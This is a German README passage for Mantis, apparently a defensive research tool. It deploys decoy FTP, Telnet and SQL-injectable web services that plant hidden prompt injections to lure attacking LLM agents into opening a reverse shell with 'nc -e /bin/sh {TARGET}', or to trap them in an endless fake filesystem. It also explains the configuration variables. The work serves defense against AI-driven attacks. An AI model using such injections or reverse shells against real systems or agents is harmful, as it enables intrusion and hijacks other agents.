
Projekt Mantis: Den KI-Hacker zurückschlagen; Prompt-Injection als Verteidigung gegen LLM-gesteuerte Cyberangriffe
pip install -r requirements.txt
Verschiedene vorgefertigte Konfigurationen sind im Verzeichnis ./confs verfügbar.
Ein Beispiel für eine Mantis-Konfigurationsdatei ist in ./confs/ftp_hackback_rshell.py angegeben. Was diese Konfiguration bedeutet und wie du deine eigene wählst, wird später in dieser README-Datei erklärt. Diese kann mit dem Skript mantis_run.py ausgeführt werden:
python mantis_run.py confs.ftp_hackback_rshell
Das Ausführen von Mantis mit confs/ftp_hackback_rshell.py startet einen FTP-Decoy-Server mit anonymen Anmeldedaten, der darauf abzielt, den angreifenden LLM-Agenten dazu zu bringen, über (unsichtbare) Prompt-Injection eine Reverse Shell zu öffnen. Bei Auslösung startet es einen Reverse-Shell-Listener auf dem angegebenen Port zum Testen (⚠️ diese Konfiguration ist nicht für den Produktionseinsatz gedacht ⚠️).
Eine Variation des oben Genannten, die eine gegenüber SQL-Injection verwundbare Web-App als Decoy verwendet, kann wie folgt ausgeführt werden:
python mantis_run.py confs.web_hackback_rshell
Eine weitere Konfiguration ist in confs/web_hackback_rshell_with_inj_banner.py verfügbar, eine Variation von confs.web_hackback_rshell. Diese Konfiguration nutzt Service-Banner-Injection, um Angreifer anzulocken. Die Injection kann über den Hyperparameter BANNER_INJECTION_POOL gesteuert werden (siehe dazu den Inhalt von confs/web_hackback_rshell_with_inj_banner.py).
In all diesen Beispielen verwenden wir einen sehr einfachen Reverse-Shell-Starter: nc -e /bin/sh {TARGET} .... Dies kann geändert werden, indem die Variable REVERSE_SHELL_INITIATOR in der Konfigurationsdatei angepasst wird (z. B. confs/ftp_hackback_rshell.py), wobei der Parameter {TARGET} die IP des Hosts ist (die automatisch von Mantis gesetzt wird). Wenn du die Post-Exploitation des Angreifers automatisieren möchtest, kannst du die Klasse Mantis.Decoys.reverse_shell_listener.ReverseShellListenerTest ändern oder ersetzen. Mehr zur Funktionsweise der Konfigurationsdateien später.
Ein weiteres Beispiel ist ./confs/ftp_filesystem_tarpit.py:
python mantis_run.py confs.ftp_filesystem_tarpit
Dies startet einen gefälschten FTP-Server mit einem unendlich tiefen Dateisystem und maßgeschneiderten (unsichtbaren) Prompt-Injections, um den angreifenden LLM-Agenten gefangen zu halten. Die Komplexität des Tarpits kann über die Variable EXPECTED_NUMBER_OF_DIRECTORIES in ./confs/ftp_filesystem_tarpit.py eingestellt werden.
Eine Konfigurationsdatei definiert das Verhalten von Mantis; welche Decoys verwendet werden sollen, wann sie eingesetzt werden sollen und was zu tun ist, wenn jemand (oder etwas) versucht, sie auszunutzen. Obwohl recht ausführlich, bieten die Konfigurationsdateien im Verzeichnis ./conf einen Überblick darüber, wie eine Konfiguration aussieht. Praktisch gesehen handelt es sich um eine Liste von Variablen, die in einem (nicht besonders strukturierten) Python-Skript definiert sind.
Die beiden einzigen Pflichtvariablen, die in einer Konfigurationsdatei definiert sein müssen, sind: DECOYS und TRIGGER_EVENTS.
DECOYSWie der Name schon sagt, definiert diese Datenstruktur die Decoys, die Mantis beim Start ausführen muss. Konkret handelt es sich um ein Python-Wörterbuch, bei dem jeder Eintrag einen Port einem Decoy zuordnet, wobei der Port der Schlüssel und ein Tupel mit der „Decoy-Klasse“ und der „Decoy-Konfiguration“ der Wert ist. Eine „Decoy-Klasse“ ist eine Unterklasse von „./Mantis/Decoys.DecoyService“, und die „Decoy-Konfiguration“ ist ein (möglicherweise leeres) Python-Wörterbuch, das Anpassungsmöglichkeiten für den Decoy bietet. Auf diese Details werden wir später eingehen.
Nehmen wir ./confs/ftp_filesystem_tarpit.py als Beispiel für eine DECOYS-Variable:
DECOYS = {
21 : (
TarpitFTP , {
'name':'into_tarpit',
'hparams' : {'EXPECTED_NUMBER_OF_DIRECTORIES' : EXPECTED_NUMBER_OF_DIRECTORIES},
}
),
}
Hier gibt es einen einzelnen Decoy (TarpitFTP), der auf Port 21 läuft. Die „Decoy-Konfiguration“ enthält zwei Variablen: name, ein Name, der einem bestimmten Decoy zugeordnet ist und uns später hilft, TRIGGER_EVENTS besser zu verwalten, sowie ein weiteres Wörterbuch hparams, das verwendet werden kann, um beliebige Daten an die Decoy-Klasse zu übergeben. Wenn die Variable name nicht gesetzt ist, lautet ihr Standardwert "decoy". Auf die Werte in hparams kann dann im Decoy-Objekt über das Attribut self.hparams zugegriffen werden. Im Beispiel wird dies verwendet, um die Anzahl der erwarteten Verzeichnisse im dateisystembasierten Tarpit festzulegen.
Das Beispiel zeigt einen einzelnen Decoy, aber die Anzahl kann beliebig sein (solange ein freier Port vorhanden ist).
Mantis enthält einige Decoy-Klassen, die sofort verwendet werden können. Diese sind:
Mantis.Decoys.FTP.fake_ftp.AnonymousFTP: Ein gefälschter FTP-Server mit aktivierten anonymen Anmeldedaten.Mantis.Decoys.FTP.fake_ftp_tarpit.TarpitFTP: Ein gefälschter FTP-Server mit aktivierten anonymen Anmeldedaten, der ein unendlich tiefes Dateisystem implementiert.Mantis.Decoys.Web.webFakeDB_sqlinj.WebFakeDB_sqlinj: Ein Webserver mit einer Login-Seite, die anfällig für SQL-Injection ist.Mantis.Decoys.Telnet.fake_telnet.AnyPasswordFakeTelnet: Ein gefälschter Telnet-Server mit schwacher Authentifizierung.Wir planen, diese Liste zu erweitern, aber wie wir später in der Readme sehen werden, ist das Erstellen eines eigenen Decoys keine Raketenwissenschaft.
Hier kommt der knifflige Teil. Die Variable TRIGGER_EVENTS definiert das Verhalten von Mantis, wenn externe Benutzer (Personen oder Agenten) mit einem Decoy interagieren. Die Art und Weise, wie diese Konfigurationsvariable definiert ist, mag unnötig kompliziert erscheinen, aber du wirst die Freiheit, die sie dir gewährt, vielleicht irgendwann zu schätzen wissen (vielleicht).
TRIGGER_EVENTS ist ein weiteres Python-Wörterbuch, wobei ein Eintrag wie folgt definiert ist:
TRIGGER : (
INJECTION_FUNCTION,
{
'invisible_shell':INVISIBLE_SHELL?,
'invisible_html':INVISIBLE_HTML?
},
EXECUTION_TRIGGER_POOL,
PAYLOAD_POOL,
SERVICES_TO_SPAWN,
TO_KILL?,
),
Hier definiert ein Eintrag, was zu tun ist, wenn ein Decoy ein Trigger-Ereignis signalisiert. Als Nächstes betrachten wir jeden Parameter einzeln:
TRIGGERDer Schlüssel TRIGGER ist ein String, der es uns ermöglicht, das Trigger-Ereignis der entsprechenden Gruppe von Aktionen (dem Wert des Wörterbucheintrags) zuzuordnen.
Im allgemeinen Fall kann dies auf den Namen gesetzt werden, der dem Decoy bei der Definition der Variable DECOYS zugewiesen wurde, wie oben erläutert. Beispielsweise muss dies für ./confs/ftp_filesystem_tarpit.py auf "into_tarpit" gesetzt werden. Wenn du für deinen Decoy keinen Namen festgelegt hast, kannst du TRIGGER auf "decoy" setzen. Wenn du mehrere Decoys einrichtest, musst du sie benennen und diese Namen verwenden, um in TRIGGER_EVENTS das richtige Trigger-Ereignis zuzuordnen. Zum Beispiel mit den folgenden Decoys:
DECOYS = {
21 : (
TarpitFTP , {
'name':'ftp_tarpit',
'hparams' : {'EXPECTED_NUMBER_OF_DIRECTORIES' : EXPECTED_NUMBER_OF_DIRECTORIES},
}
),